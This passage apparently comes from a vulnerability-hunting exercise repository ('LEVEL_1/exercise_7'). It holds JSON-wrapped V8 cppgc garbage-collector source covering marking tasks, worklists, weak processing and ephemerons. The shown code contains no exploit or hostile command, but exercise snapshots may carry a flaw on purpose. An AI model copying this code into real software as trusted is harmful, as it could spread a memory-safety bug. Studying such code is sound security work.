(runner->NonNestableTasksEnabled()) {\n    runner->PostNonNestableTask(std::move(task));\n  } else {\n    runner->PostTask(std::move(task));\n  }\n  return handle;\n}\n\nvoid MarkerBase::IncrementalMarkingTask::Run() {\n  if (handle_.IsCanceled()) return;\n\n  StatsCollector::EnabledScope stats_scope(marker_->heap().stats_collector(),\n                                           StatsCollector::kIncrementalMark);\n\n  if (marker_->IncrementalMarkingStep(stack_state_)) {\n    // Incremental marking is done so should finalize GC.\n    marker_->heap().FinalizeIncrementalGarbageCollectionIfNeeded(stack_state_);\n  }\n}\n\nMarkerBase::MarkerBase(Key, HeapBase& heap, cppgc::Platform* platform,\n                       MarkingConfig config)\n    : heap_(heap),\n      config_(config),\n      platform_(platform),\n      foreground_task_runner_(platform_->GetForegroundTaskRunner()),\n      mutator_marking_state_(heap, marking_worklists_,\n                             heap.compactor().compaction_worklists()) {}\n\nMarkerBase::~MarkerBase() {\n  // The fixed point iteration may have found not-fully-constructed objects.\n  // Such objects should have already been found through the stack scan though\n  // and should thus already be marked.\n  if (!marking_worklists_.not_fully_constructed_worklist()->IsEmpty()) {\n#if DEBUG\n    DCHECK_NE(MarkingConfig::StackState::kNoHeapPointers, config_.stack_state);\n    std::unordered_set<HeapObjectHeader*> objects =\n        mutator_marking_state_.not_fully_constructed_worklist().Extract();\n    for (HeapObjectHeader* object : objects) DCHECK(object->IsMarked());\n#else\n    marking_worklists_.not_fully_constructed_worklist()->Clear();\n#endif\n  }\n\n  // |discovered_ephemeron_pairs_worklist_| may still hold ephemeron pairs with\n  // dead keys.\n  if (!marking_worklists_.discovered_ephemeron_pairs_worklist()->IsEmpty()) {\n#if DEBUG\n    MarkingWorklists::EphemeronPairItem item;\n    while (mutator_marking_state_.discovered_ephemeron_pairs_worklist().Pop(\n        &item)) {\n      DCHECK(!HeapObjectHeader::FromObject(item.key).IsMarked());\n    }\n#else\n    marking_worklists_.discovered_ephemeron_pairs_worklist()->Clear();\n#endif\n  }\n\n  marking_worklists_.weak_containers_worklist()->Clear();\n}\n\nvoid MarkerBase::StartMarking() {\n  DCHECK(!is_marking_);\n  StatsCollector::EnabledScope stats_scope(\n      heap().stats_collector(),\n      config_.marking_type == MarkingConfig::MarkingType::kAtomic\n          ? StatsCollector::kAtomicMark\n          : StatsCollector::kIncrementalMark);\n\n  heap().stats_collector()->NotifyMarkingStarted(config_.collection_type,\n                                                 config_.is_forced_gc);\n\n  is_marking_ = true;\n  if (EnterIncrementalMarkingIfNeeded(config_, heap())) {\n    StatsCollector::EnabledScope inner_stats_scope(\n        heap().stats_collector(), StatsCollector::kMarkIncrementalStart);\n\n    // Performing incremental or concurrent marking.\n    schedule_.NotifyIncrementalMarkingStart();\n    // Scanning the stack is expensive so we only do it at the atomic pause.\n    VisitRoots(MarkingConfig::StackState::kNoHeapPointers);\n    ScheduleIncrementalMarkingTask();\n    if (config_.marking_type ==\n        MarkingConfig::MarkingType::kIncrementalAndConcurrent) {\n      mutator_marking_state_.Publish();\n      concurrent_marker_->Start();\n    }\n  }\n}\n\nvoid MarkerBase::EnterAtomicPause(MarkingConfig::StackState stack_state) {\n  StatsCollector::EnabledScope top_stats_scope(heap().stats_collector(),\n                                               StatsCollector::kAtomicMark);\n  StatsCollector::EnabledScope stats_scope(heap().stats_collector(),\n                                           StatsCollector::kMarkAtomicPrologue);\n\n  if (ExitIncrementalMarkingIfNeeded(config_, heap())) {\n    // Cancel remaining concurrent/incremental tasks.\n    concurrent_marker_->Cancel();\n    incremental_marking_handle_.Cancel();\n  }\n  config_.stack_state = stack_state;\n  config_.marking_type = MarkingConfig::MarkingType::kAtomic;\n\n  {\n    // VisitRoots also resets the LABs.\n    VisitRoots(config_.stack_state);\n    if (config_.stack_state == MarkingConfig::StackState::kNoHeapPointers) {\n      mutator_marking_state_.FlushNotFullyConstructedObjects();\n      DCHECK(marking_worklists_.not_fully_constructed_worklist()->IsEmpty());\n    } else {\n      MarkNotFullyConstructedObjects();\n    }\n  }\n}\n\nvoid MarkerBase::LeaveAtomicPause() {\n  {\n    StatsCollector::EnabledScope top_stats_scope(heap().stats_collector(),\n                                                 StatsCollector::kAtomicMark);\n    StatsCollector::EnabledScope stats_scope(\n        heap().stats_collector(), StatsCollector::kMarkAtomicEpilogue);\n    DCHECK(!incremental_marking_handle_);\n    ResetRememberedSet(heap());\n    heap().stats_collector()->NotifyMarkingCompleted(\n        // GetOverallMarkedBytes also includes concurrently marked bytes.\n        schedule_.GetOverallMarkedBytes());\n    is_marking_ = false;\n  }\n  {\n    // Weakness callbacks are forbidden from allocating objects.\n    cppgc::subtle::DisallowGarbageCollectionScope disallow_gc_scope(heap_);\n    ProcessWeakness();\n  }\n  // TODO(chromium:1056170): It would be better if the call to Unlock was\n  // covered by some cppgc scope.\n  g_process_mutex.Pointer()->Unlock();\n  heap().SetStackStateOfPrevGC(config_.stack_state);\n}\n\nvoid MarkerBase::FinishMarking(MarkingConfig::StackState stack_state) {\n  DCHECK(is_marking_);\n  EnterAtomicPause(stack_state);\n  {\n    StatsCollector::EnabledScope stats_scope(heap().stats_collector(),\n                                             StatsCollector::kAtomicMark);\n    CHECK(AdvanceMarkingWithLimits(v8::base::TimeDelta::Max(), SIZE_MAX));\n    mutator_marking_state_.Publish();\n  }\n  LeaveAtomicPause();\n}\n\nvoid MarkerBase::ProcessWeakness() {\n  DCHECK_EQ(MarkingConfig::MarkingType::kAtomic, config_.marking_type);\n\n  StatsCollector::EnabledScope stats_scope(heap().stats_collector(),\n                                           StatsCollector::kAtomicWeak);\n\n  heap().GetWeakPersistentRegion().Trace(&visitor());\n  // Processing cross-thread handles requires taking the process lock.\n  g_process_mutex.Get().AssertHeld();\n  CHECK(visited_cross_thread_persistents_in_atomic_pause_);\n  heap().GetWeakCrossThreadPersistentRegion().Trace(&visitor());\n\n  // Call weak callbacks on objects that may now be pointing to dead objects.\n  MarkingWorklists::WeakCallbackItem item;\n  LivenessBroker broker = LivenessBrokerFactory::Create();\n  MarkingWorklists::WeakCallbackWorklist::Local& local =\n      mutator_marking_state_.weak_callback_worklist();\n  while (local.Pop(&item)) {\n    item.callback(broker, item.parameter);\n  }\n\n  // Weak callbacks should not add any new objects for marking.\n  DCHECK(marking_worklists_.marking_worklist()->IsEmpty());\n}\n\nvoid MarkerBase::VisitRoots(MarkingConfig::StackState stack_state) {\n  StatsCollector::EnabledScope stats_scope(heap().stats_collector(),\n                                           StatsCollector::kMarkVisitRoots);\n\n  // Reset LABs before scanning roots. LABs are cleared to allow\n  // ObjectStartBitmap handling without considering LABs.\n  heap().object_allocator().ResetLinearAllocationBuffers();\n\n  {\n    {\n      StatsCollector::DisabledScope inner_stats_scope(\n          heap().stats_collector(), StatsCollector::kMarkVisitPersistents);\n      heap().GetStrongPersistentRegion().Trace(&visitor());\n    }\n  }\n\n  if (stack_state != MarkingConfig::StackState::kNoHeapPointers) {\n    StatsCollector::DisabledScope stack_stats_scope(\n        heap().stats_collector(), StatsCollector::kMarkVisitStack);\n    heap().stack()->IteratePointers(&stack_visitor());\n  }\n  if (config_.collection_type == MarkingConfig::CollectionType::kMinor) {\n    VisitRememberedSlots(heap(), mutator_marking_state_);\n  }\n}\n\nbool MarkerBase::VisitCrossThreadPersistentsIfNeeded() {\n  if (config_.marking_type != MarkingConfig::MarkingType::kAtomic ||\n      visited_cross_thread_persistents_in_atomic_pause_)\n    return false;\n\n  StatsCollector::DisabledScope inner_stats_scope(\n      heap().stats_collector(),\n      StatsCollector::kMarkVisitCrossThreadPersistents);\n  // Lock guards against changes to {Weak}CrossThreadPersistent handles, that\n  // may conflict with marking. E.g., a WeakCrossThreadPersistent may be\n  // converted into a CrossThreadPersistent which requires that the handle\n  // is either cleared or the object is retained.\n  g_process_mutex.Pointer()->Lock();\n  heap().GetStrongCrossThreadPersistentRegion().Trace(&visitor());\n  visited_cross_thread_persistents_in_atomic_pause_ = true;\n  return (heap().GetStrongCrossThreadPersistentRegion().NodesInUse() > 0);\n}\n\nvoid MarkerBase::ScheduleIncrementalMarkingTask() {\n  DCHECK(platform_);\n  if (!foreground_task_runner_ || incremental_marking_handle_) return;\n  incremental_marking_handle_ =\n      IncrementalMarkingTask::Post(foreground_task_runner_.get(), this);\n}\n\nbool MarkerBase::IncrementalMarkingStepForTesting(\n    MarkingConfig::StackState stack_state) {\n  return IncrementalMarkingStep(stack_state);\n}\n\nbool MarkerBase::IncrementalMarkingStep(MarkingConfig::StackState stack_state) {\n  if (stack_state == MarkingConfig::StackState::kNoHeapPointers) {\n    mutator_marking_state_.FlushNotFullyConstructedObjects();\n  }\n  config_.stack_state = stack_state;\n\n  return AdvanceMarkingWithLimits();\n}\n\nvoid MarkerBase::AdvanceMarkingOnAllocation() {\n  StatsCollector::EnabledScope stats_scope(heap().stats_collector(),\n                                           StatsCollector::kIncrementalMark);\n  StatsCollector::EnabledScope nested_scope(heap().stats_collector(),\n                                            StatsCollector::kMarkOnAllocation);\n  if (AdvanceMarkingWithLimits()) {\n    // Schedule another incremental task for finalizing without a stack.\n    ScheduleIncrementalMarkingTask();\n  }\n}\n\nbool MarkerBase::AdvanceMarkingWithLimits(v8::base::TimeDelta max_duration,\n                                          size_t marked_bytes_limit) {\n  bool is_done = false;\n  if (!main_marking_disabled_for_testing_) {\n    if (marked_bytes_limit == 0) {\n      marked_bytes_limit = mutator_marking_state_.marked_bytes() +\n                           GetNextIncrementalStepDuration(schedule_, heap_);\n    }\n    StatsCollector::EnabledScope deadline_scope(\n        heap().stats_collector(),\n        StatsCollector::kMarkTransitiveClosureWithDeadline, \"deadline_ms\",\n        max_duration.InMillisecondsF());\n    const auto deadline = v8::base::TimeTicks::Now() + max_duration;\n    is_done = ProcessWorklistsWithDeadline(marked_bytes_limit, deadline);\n    if (is_done && VisitCrossThreadPersistentsIfNeeded()) {\n      // Both limits are absolute and hence can be passed along without further\n      // adjustment.\n      is_done = ProcessWorklistsWithDeadline(marked_bytes_limit, deadline);\n    }\n    schedule_.UpdateMutatorThreadMarkedBytes(\n        mutator_marking_state_.marked_bytes());\n  }\n  mutator_marking_state_.Publish();\n  if (!is_done) {\n    // If marking is atomic, |is_done| should always be true.\n    DCHECK_NE(MarkingConfig::MarkingType::kAtomic, config_.marking_type);\n    ScheduleIncrementalMarkingTask();\n    if (config_.marking_type ==\n        MarkingConfig::MarkingType::kIncrementalAndConcurrent) {\n      concurrent_marker_->NotifyIncrementalMutatorStepCompleted();\n    }\n  }\n  return is_done;\n}\n\nbool MarkerBase::ProcessWorklistsWithDeadline(\n    size_t marked_bytes_deadline, v8::base::TimeTicks time_deadline) {\n  StatsCollector::EnabledScope stats_scope(\n      heap().stats_collector(), StatsCollector::kMarkTransitiveClosure);\n  do {\n    if ((config_.marking_type == MarkingConfig::MarkingType::kAtomic) ||\n        schedule_.ShouldFlushEphemeronPairs()) {\n      mutator_marking_state_.FlushDiscoveredEphemeronPairs();\n    }\n\n    // Bailout objects may be complicated to trace and thus might take longer\n    // than other objects. Therefore we reduce the interval between deadline\n    // checks to guarantee the deadline is not exceeded.\n    {\n      StatsCollector::EnabledScope inner_scope(\n          heap().stats_collector(), StatsCollector::kMarkProcessBailOutObjects);\n      if (!DrainWorklistWithBytesAndTimeDeadline<kDefaultDeadlineCheckInterval /\n                                                 5>(\n              mutator_marking_state_, marked_bytes_deadline, time_deadline,\n              mutator_marking_state_.concurrent_marking_bailout_worklist(),\n              [this](\n                  const MarkingWorklists::ConcurrentMarkingBailoutItem& item) {\n                mutator_marking_state_.AccountMarkedBytes(item.bailedout_size);\n                item.callback(&visitor(), item.parameter);\n              })) {\n        return false;\n      }\n    }\n\n    {\n      StatsCollector::EnabledScope inner_scope(\n          heap().stats_collector(),\n          StatsCollector::kMarkProcessNotFullyconstructedWorklist);\n      if (!DrainWorklistWithBytesAndTimeDeadline(\n              mutator_marking_state_, marked_bytes_deadline, time_deadline,\n              mutator_marking_state_\n                  .previously_not_fully_constructed_worklist(),\n              [this](HeapObjectHeader* header) {\n                mutator_marking_state_.AccountMarkedBytes(*header);\n                DynamicallyTraceMarkedObject<AccessMode::kNonAtomic>(visitor(),\n                                                                     *header);\n              })) {\n        return false;\n      }\n    }\n\n    {\n      StatsCollector::EnabledScope inner_scope(\n          heap().stats_collector(),\n          StatsCollector::kMarkProcessMarkingWorklist);\n      if (!DrainWorklistWithBytesAndTimeDeadline(\n              mutator_marking_state_, marked_bytes_deadline, time_deadline,\n              mutator_marking_state_.marking_worklist(),\n              [this](const MarkingWorklists::MarkingItem& item) {\n                const HeapObjectHeader& header =\n                    HeapObjectHeader::FromObject(item.base_object_payload);\n                DCHECK(!header.IsInConstruction<AccessMode::kNonAtomic>());\n                DCHECK(header.IsMarked<AccessMode::kNonAtomic>());\n                mutator_marking_state_.AccountMarkedBytes(header);\n                item.callback(&visitor(), item.base_object_payload);\n              })) {\n        return false;\n      }\n    }\n\n    {\n      StatsCollector::EnabledScope inner_scope(\n          heap().stats_collector(),\n          StatsCollector::kMarkProcessWriteBarrierWorklist);\n      if (!DrainWorklistWithBytesAndTimeDeadline(\n              mutator_marking_state_, marked_bytes_deadline, time_deadline,\n              mutator_marking_state_.write_barrier_worklist(),\n              [this](HeapObjectHeader* header) {\n                mutator_marking_state_.AccountMarkedBytes(*header);\n                DynamicallyTraceMarkedObject<AccessMode::kNonAtomic>(visitor(),\n                                                                     *header);\n              })) {\n        return false;\n      }\n      if (!DrainWorklistWithBytesAndTimeDeadline(\n              mutator_marking_state_, marked_bytes_deadline, time_deadline,\n              mutator_marking_state_.retrace_marked_objects_worklist(),\n              [this](HeapObjectHeader* header) {\n                // Retracing does not increment marked bytes as the object has\n                // already been processed before.\n                DynamicallyTraceMarkedObject<AccessMode::kNonAtomic>(visitor(),\n                                                                     *header);\n              })) {\n        return false;\n      }\n    }\n\n    {\n      StatsCollector::EnabledScope inner_stats_scope(\n          heap().stats_collector(), StatsCollector::kMarkProcessEphemerons);\n      if (!DrainWorklistWithBytesAndTimeDeadline(\n              mutator_marking_state_, marked_bytes_deadline, time_deadline,\n              mutator_marking_state_.ephemeron_pairs_for_processing_worklist(),\n              [this](const MarkingWorklists::EphemeronPairItem& item) {\n                mutator_marking_state_.ProcessEphemeron(\n                    item.key, item.value, item.value_desc, visitor());\n              })) {\n        return false;\n      }\n    }\n  } while (!mutator_marking_state_.marking_worklist().IsLocalAndGlobalEmpty());\n  return true;\n}\n\nvoid MarkerBase::MarkNotFullyConstructedObjects() {\n  StatsCollector::DisabledScope stats_scope(\n      heap().stats_collector(),\n      StatsCollector::kMarkVisitNotFullyConstructedObjects);\n  std::unordered_set<HeapObjectHeader*> objects =\n      mutator_marking_state_.not_fully_constructed_worklist().Extract();\n  for (HeapObjectHeader* object : objects) {\n    DCHECK(object);\n    // TraceConservativelyIfNeeded delegates to either in-construction or\n    // fully constructed handling. Both handlers have their own marked bytes\n    // accounting and markbit handling (bailout).\n    conservative_visitor().TraceConservativelyIfNeeded(*object);\n  }\n}\n\nvoid MarkerBase::ClearAllWorklistsForTesting() {\n  marking_worklists_.ClearForTesting();\n  auto* compaction_worklists = heap_.compactor().compaction_worklists();\n  if (compaction_worklists) compaction_worklists->ClearForTesting();\n}\n\nvoid MarkerBase::SetMainThreadMarkingDisabledForTesting(bool value) {\n  main_marking_disabled_for_testing_ = value;\n}\n\nvoid MarkerBase::WaitForConcurrentMarkingForTesting() {\n  concurrent_marker_->JoinForTesting();\n}\n\nvoid MarkerBase::NotifyCompactionCancelled() {\n  // Compaction cannot be cancelled while concurrent marking is active.\n  DCHECK_EQ(MarkingConfig::MarkingType::kAtomic, config_.marking_type);\n  DCHECK_IMPLIES(concurrent_marker_, !concurrent_marker_->IsActive());\n  mutator_marking_state_.NotifyCompactionCancelled();\n}\n\nMarker::Marker(Key key, HeapBase& heap, cppgc::Platform* platform,\n               MarkingConfig config)\n    : MarkerBase(key, heap, platform, config),\n      marking_visitor_(heap, mutator_marking_state_),\n      conservative_marking_visitor_(heap, mutator_marking_state_,\n                                    marking_visitor_) {\n  concurrent_marker_ = std::make_unique<ConcurrentMarker>(\n      heap_, marking_worklists_, schedule_, platform_);\n}\n\n}  // namespace internal\n}  // namespace cppgc\n"
  },
  {
    "path": "LEVEL_1/exercise_7/marking-state.h",
    "content": "// Copyright 2020 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef V8_HEAP_CPPGC_MARKING_STATE_H_\n#define V8_HEAP_CPPGC_MARKING_STATE_H_\n\n#include <algorithm>\n\n#include \"include/cppgc/trace-trait.h\"\n#include \"include/cppgc/visitor.h\"\n#include \"src/heap/cppgc/compaction-worklists.h\"\n#include \"src/heap/cppgc/globals.h\"\n#include \"src/heap/cppgc/heap-object-header.h\"\n#include \"src/heap/cppgc/heap-page.h\"\n#include \"src/heap/cppgc/liveness-broker.h\"\n#include \"src/heap/cppgc/marking-worklists.h\"\n\nnamespace cppgc {\nnamespace internal {\n\n// C++ marking implementation.\nclass MarkingStateBase {\n public:\n  inline MarkingStateBase(HeapBase& heap, MarkingWorklists&,\n                          CompactionWorklists*);\n\n  MarkingStateBase(const MarkingStateBase&) = delete;\n  MarkingStateBase& operator=(const MarkingStateBase&) = delete;\n\n  inline void MarkAndPush(const void*, TraceDescriptor);\n  inline void MarkAndPush(HeapObjectHeader&);\n\n  inline void PushMarked(HeapObjectHeader&, TraceDescriptor desc);\n\n  inline void RegisterWeakReferenceIfNeeded(const void*, TraceDescriptor,\n                                            WeakCallback, const void*);\n  inline void RegisterWeakCallback(WeakCallback, const void*);\n\n  void RegisterMovableReference(const void** slot) {\n    if (!movable_slots_worklist_) return;\n    movable_slots_worklist_->Push(slot);\n  }\n\n  // Weak containers are special in that they may require re-tracing if\n  // reachable through stack, even if the container was already traced before.\n  // ProcessWeakContainer records which weak containers were already marked so\n  // that conservative stack scanning knows to retrace them.\n  inline void ProcessWeakContainer(const void*, TraceDescriptor, WeakCallback,\n                                   const void*);\n\n  inline void ProcessEphemeron(const void*, const void*, TraceDescriptor,\n                               Visitor&);\n\n  inline void AccountMarkedBytes(const HeapObjectHeader&);\n  inline void AccountMarkedBytes(size_t);\n  size_t marked_bytes() const { return marked_bytes_; }\n\n  void Publish() {\n    marking_worklist_.Publish();\n    previously_not_fully_constructed_worklist_.Publish();\n    weak_callback_worklist_.Publish();\n    write_barrier_worklist_.Publish();\n    concurrent_marking_bailout_worklist_.Publish();\n    discovered_ephemeron_pairs_worklist_.Publish();\n    ephemeron_pairs_for_processing_worklist_.Publish();\n    if (IsCompactionEnabled()) movable_slots_worklist_->Publish();\n  }\n\n  MarkingWorklists::MarkingWorklist::Local& marking_worklist() {\n    return marking_worklist_;\n  }\n  MarkingWorklists::NotFullyConstructedWorklist&\n  not_fully_constructed_worklist() {\n    return not_fully_constructed_worklist_;\n  }\n  MarkingWorklists::PreviouslyNotFullyConstructedWorklist::Local&\n  previously_not_fully_constructed_worklist() {\n    return previously_not_fully_constructed_worklist_;\n  }\n  MarkingWorklists::WeakCallbackWorklist::Local& weak_callback_worklist() {\n    return weak_callback_worklist_;\n  }\n  MarkingWorklists::WriteBarrierWorklist::Local& write_barrier_worklist() {\n    return write_barrier_worklist_;\n  }\n  MarkingWorklists::ConcurrentMarkingBailoutWorklist::Local&\n  concurrent_marking_bailout_worklist() {\n    return concurrent_marking_bailout_worklist_;\n  }\n  MarkingWorklists::EphemeronPairsWorklist::Local&\n  discovered_ephemeron_pairs_worklist() {\n    return discovered_ephemeron_pairs_worklist_;\n  }\n  MarkingWorklists::EphemeronPairsWorklist::Local&\n  ephemeron_pairs_for_processing_worklist() {\n    return ephemeron_pairs_for_processing_worklist_;\n  }\n  MarkingWorklists::WeakContainersWorklist& weak_containers_worklist() {\n    return weak_containers_worklist_;\n  }\n  MarkingWorklists::RetraceMarkedObjectsWorklist::Local&\n  retrace_marked_objects_worklist() {\n    return retrace_marked_objects_worklist_;\n  }\n\n  CompactionWorklists::MovableReferencesWorklist::Local*\n  movable_slots_worklist() {\n    return movable_slots_worklist_.get();\n  }\n\n  void NotifyCompactionCancelled() {\n    DCHECK(IsCompactionEnabled());\n    movable_slots_worklist_->Clear();\n    movable_slots_worklist_.reset();\n  }\n\n protected:\n  inline void MarkAndPush(HeapObjectHeader&, TraceDescriptor);\n\n  inline bool MarkNoPush(HeapObjectHeader&);\n\n  inline void RegisterWeakContainer(HeapObjectHeader&);\n\n  inline bool IsCompactionEnabled() const {\n    return movable_slots_worklist_.get();\n  }\n\n  HeapBase& heap_;\n\n  MarkingWorklists::MarkingWorklist::Local marking_worklist_;\n  MarkingWorklists::NotFullyConstructedWorklist&\n      not_fully_constructed_worklist_;\n  MarkingWorklists::PreviouslyNotFullyConstructedWorklist::Local\n      previously_not_fully_constructed_worklist_;\n  MarkingWorklists::WeakCallbackWorklist::Local weak_callback_worklist_;\n  MarkingWorklists::WriteBarrierWorklist::Local write_barrier_worklist_;\n  MarkingWorklists::ConcurrentMarkingBailoutWorklist::Local\n      concurrent_marking_bailout_worklist_;\n  MarkingWorklists::EphemeronPairsWorklist::Local\n      discovered_ephemeron_pairs_worklist_;\n  MarkingWorklists::EphemeronPairsWorklist::Local\n      ephemeron_pairs_for_processing_worklist_;\n  MarkingWorklists::WeakContainersWorklist& weak_containers_worklist_;\n  MarkingWorklists::RetraceMarkedObjectsWorklist::Local\n      retrace_marked_objects_worklist_;\n  // Existence of the worklist (|movable_slot_worklist_| != nullptr) denotes\n  // that compaction is currently enabled and slots must be recorded.\n  std::unique_ptr<CompactionWorklists::MovableReferencesWorklist::Local>\n      movable_slots_worklist_;\n\n  size_t marked_bytes_ = 0;\n};\n\nMarkingStateBase::MarkingStateBase(HeapBase& heap,\n                                   MarkingWorklists& marking_worklists,\n                                   CompactionWorklists* compaction_worklists)\n    : heap_(heap),\n      marking_worklist_(marking_worklists.marking_worklist()),\n      not_fully_constructed_worklist_(\n          *marking_worklists.not_fully_constructed_worklist()),\n      previously_not_fully_constructed_worklist_(\n          marking_worklists.previously_not_fully_constructed_worklist()),\n      weak_callback_worklist_(marking_worklists.weak_callback_worklist()),\n      write_barrier_worklist_(marking_worklists.write_barrier_worklist()),\n      concurrent_marking_bailout_worklist_(\n          marking_worklists.concurrent_marking_bailout_worklist()),\n      discovered_ephemeron_pairs_worklist_(\n          marking_worklists.discovered_ephemeron_pairs_worklist()),\n      ephemeron_pairs_for_processing_worklist_(\n          marking_worklists.ephemeron_pairs_for_processing_worklist()),\n      weak_containers_worklist_(*marking_worklists.weak_containers_worklist()),\n      retrace_marked_objects_worklist_(\n          marking_worklists.retrace_marked_objects_worklist()) {\n  if (compaction_worklists) {\n    movable_slots_worklist_ =\n        std::make_unique<CompactionWorklists::MovableReferencesWorklist::Local>(\n            compaction_worklists->movable_slots_worklist());\n  }\n}\n\nvoid MarkingStateBase::MarkAndPush(const void* object, TraceDescriptor desc) {\n  DCHECK_NOT_NULL(object);\n  MarkAndPush(\n      HeapObjectHeader::FromObject(const_cast<void*>(desc.base_object_payload)),\n      desc);\n}\n\nvoid MarkingStateBase::MarkAndPush(HeapObjectHeader& header,\n                                   TraceDescriptor desc) {\n  DCHECK_NOT_NULL(desc.callback);\n\n  if (header.IsInConstruction<AccessMode::kAtomic>()) {\n    not_fully_constructed_worklist_.Push<AccessMode::kAtomic>(&header);\n  } else if (MarkNoPush(header)) {\n    PushMarked(header, desc);\n  }\n}\n\nbool MarkingStateBase::MarkNoPush(HeapObjectHeader& header) {\n  // A GC should only mark the objects that belong in its heap.\n  DCHECK_EQ(&heap_, &BasePage::FromPayload(&header)->heap());\n  // Never mark free space objects. This would e.g. hint to marking a promptly\n  // freed backing store.\n  DCHECK(!header.IsFree<AccessMode::kAtomic>());\n  return header.TryMarkAtomic();\n}\n\nvoid MarkingStateBase::MarkAndPush(HeapObjectHeader& header) {\n  MarkAndPush(\n      header,\n      {header.ObjectStart(),\n       GlobalGCInfoTable::GCInfoFromIndex(header.GetGCInfoIndex()).trace});\n}\n\nvoid MarkingStateBase::PushMarked(HeapObjectHeader& header,\n                                  TraceDescriptor desc) {\n  DCHECK(header.IsMarked<AccessMode::kAtomic>());\n  DCHECK(!header.IsInConstruction<AccessMode::kAtomic>());\n  DCHECK_NOT_NULL(desc.callback);\n\n  marking_worklist_.Push(desc);\n}\n\nvoid MarkingStateBase::RegisterWeakReferenceIfNeeded(const void* object,\n                                                     TraceDescriptor desc,\n                                                     WeakCallback weak_callback,\n                                                     const void* parameter) {\n  // Filter out already marked values. The write barrier for WeakMember\n  // ensures that any newly set value after this point is kept alive and does\n  // not require the callback.\n  const HeapObjectHeader& header =\n      HeapObjectHeader::FromObject(desc.base_object_payload);\n  if (!header.IsInConstruction<AccessMode::kAtomic>() &&\n      header.IsMarked<AccessMode::kAtomic>())\n    return;\n  RegisterWeakCallback(weak_callback, parameter);\n}\n\nvoid MarkingStateBase::RegisterWeakCallback(WeakCallback callback,\n                                            const void* object) {\n  DCHECK_NOT_NULL(callback);\n  weak_callback_worklist_.Push({callback, object});\n}\n\nvoid MarkingStateBase::RegisterWeakContainer(HeapObjectHeader& header) {\n  weak_containers_worklist_.Push<AccessMode::kAtomic>(&header);\n}\n\nvoid MarkingStateBase::ProcessWeakContainer(const void* object,\n                                            TraceDescriptor desc,\n                                            WeakCallback callback,\n                                            const void* data) {\n  DCHECK_NOT_NULL(object);\n\n  HeapObjectHeader& header =\n      HeapObjectHeader::FromObject(const_cast<void*>(object));\n\n  if (header.IsInConstruction<AccessMode::kAtomic>()) {\n    not_fully_constructed_worklist_.Push<AccessMode::kAtomic>(&header);\n    return;\n  }\n\n  // Only mark the container initially. Its buckets will be processed after\n  // marking.\n  if (!MarkNoPush(header)) return;\n\n  RegisterWeakContainer(header);\n\n  // Register final weak processing of the backing store.\n  RegisterWeakCallback(callback, data);\n\n  // Weak containers might not require tracing. In such cases the callback in\n  // the TraceDescriptor will be nullptr. For ephemerons the callback will be\n  // non-nullptr so that the container is traced and the ephemeron pairs are\n  // processed.\n  if (desc.callback) {\n    PushMarked(header, desc);\n  } else {\n    // For weak containers, there's no trace callback and no processing loop to\n    // update the marked bytes, hence inline that here.\n    AccountMarkedBytes(header);\n  }\n}\n\nvoid MarkingStateBase::ProcessEphemeron(const void* key, const void* value,\n                                        TraceDescriptor value_desc,\n                                        Visitor& visitor) {\n  // Filter out already marked keys. The write barrier for WeakMember\n  // ensures that any newly set value after this point is kept alive and does\n  // not require the callback.\n  if (!HeapObjectHeader::FromObject(key)\n           .IsInConstruction<AccessMode::kAtomic>() &&\n      HeapObjectHeader::FromObject(key).IsMarked<AccessMode::kAtomic>()) {\n    if (value_desc.base_object_payload) {\n      MarkAndPush(value_desc.base_object_payload, value_desc);\n    } else {\n      // If value_desc.base_object_payload is nullptr, the value is not GCed and\n      // should be immediately traced.\n      value_desc.callback(&visitor, value);\n    }\n    return;\n  }\n  discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc});\n}\n\nvoid MarkingStateBase::AccountMarkedBytes(const HeapObjectHeader& header) {\n  AccountMarkedBytes(\n      header.IsLargeObject<AccessMode::kAtomic>()\n          ? reinterpret_cast<const LargePage*>(BasePage::FromPayload(&header))\n                ->PayloadSize()\n          : header.AllocatedSize<AccessMode::kAtomic>());\n}\n\nvoid MarkingStateBase::AccountMarkedBytes(size_t marked_bytes) {\n  marked_bytes_ += marked_bytes;\n}\n\nclass MutatorMarkingState : public MarkingStateBase {\n public:\n  MutatorMarkingState(HeapBase& heap, MarkingWorklists& marking_worklists,\n                      CompactionWorklists* compaction_worklists)\n      : MarkingStateBase(heap, marking_worklists, compaction_worklists) {}\n\n  inline bool MarkNoPush(HeapObjectHeader& header) {\n    return MutatorMarkingState::MarkingStateBase::MarkNoPush(header);\n  }\n\n  inline void ReTraceMarkedWeakContainer(cppgc::Visitor&, HeapObjectHeader&);\n\n  inline void DynamicallyMarkAddress(ConstAddress);\n\n  // Moves objects in not_fully_constructed_worklist_ to\n  // previously_not_full_constructed_worklists_.\n  void FlushNotFullyConstructedObjects();\n\n  // Moves ephemeron pairs in discovered_ephemeron_pairs_worklist_ to\n  // ephemeron_pairs_for_processing_worklist_.\n  void FlushDiscoveredEphemeronPairs();\n\n  inline void InvokeWeakRootsCallbackIfNeeded(const void*, TraceDescriptor,\n                                              WeakCallback, const void*);\n\n  inline bool IsMarkedWeakContainer(HeapObjectHeader&);\n\n private:\n  // Weak containers are strongly retraced during conservative stack scanning.\n  // Stack scanning happens once per GC at the start of the atomic pause.\n  // Because the visitor is not retained between GCs, there is no need to clear\n  // the set at the end of GC.\n  class RecentlyRetracedWeakContainers {\n    static constexpr size_t kMaxCacheSize = 8;\n\n   public:\n    inline bool Contains(const HeapObjectHeader*);\n    inline void Insert(const HeapObjectHeader*);\n\n   private:\n    std::vector<const HeapObjectHeader*> recently_retraced_cache_;\n    size_t last_used_index_ = -1;\n  } recently_retraced_weak_containers_;\n};\n\nvoid MutatorMarkingState::ReTraceMarkedWeakContainer(cppgc::Visitor& visitor,\n                                                     HeapObjectHeader& header) {\n  DCHECK(weak_containers_worklist_.Contains(&header));\n  recently_retraced_weak_containers_.Insert(&header);\n  retrace_marked_objects_worklist().Push(&header);\n}\n\nvoid MutatorMarkingState::DynamicallyMarkAddress(ConstAddress address) {\n  HeapObjectHeader& header =\n      BasePage::FromPayload(address)->ObjectHeaderFromInnerAddress(\n          const_cast<Address>(address));\n  DCHECK(!header.IsInConstruction());\n  if (MarkNoPush(header)) {\n    marking_worklist_.Push(\n        {reinterpret_cast<void*>(header.ObjectStart()),\n         GlobalGCInfoTable::GCInfoFromIndex(header.GetGCInfoIndex()).trace});\n  }\n}\n\nvoid 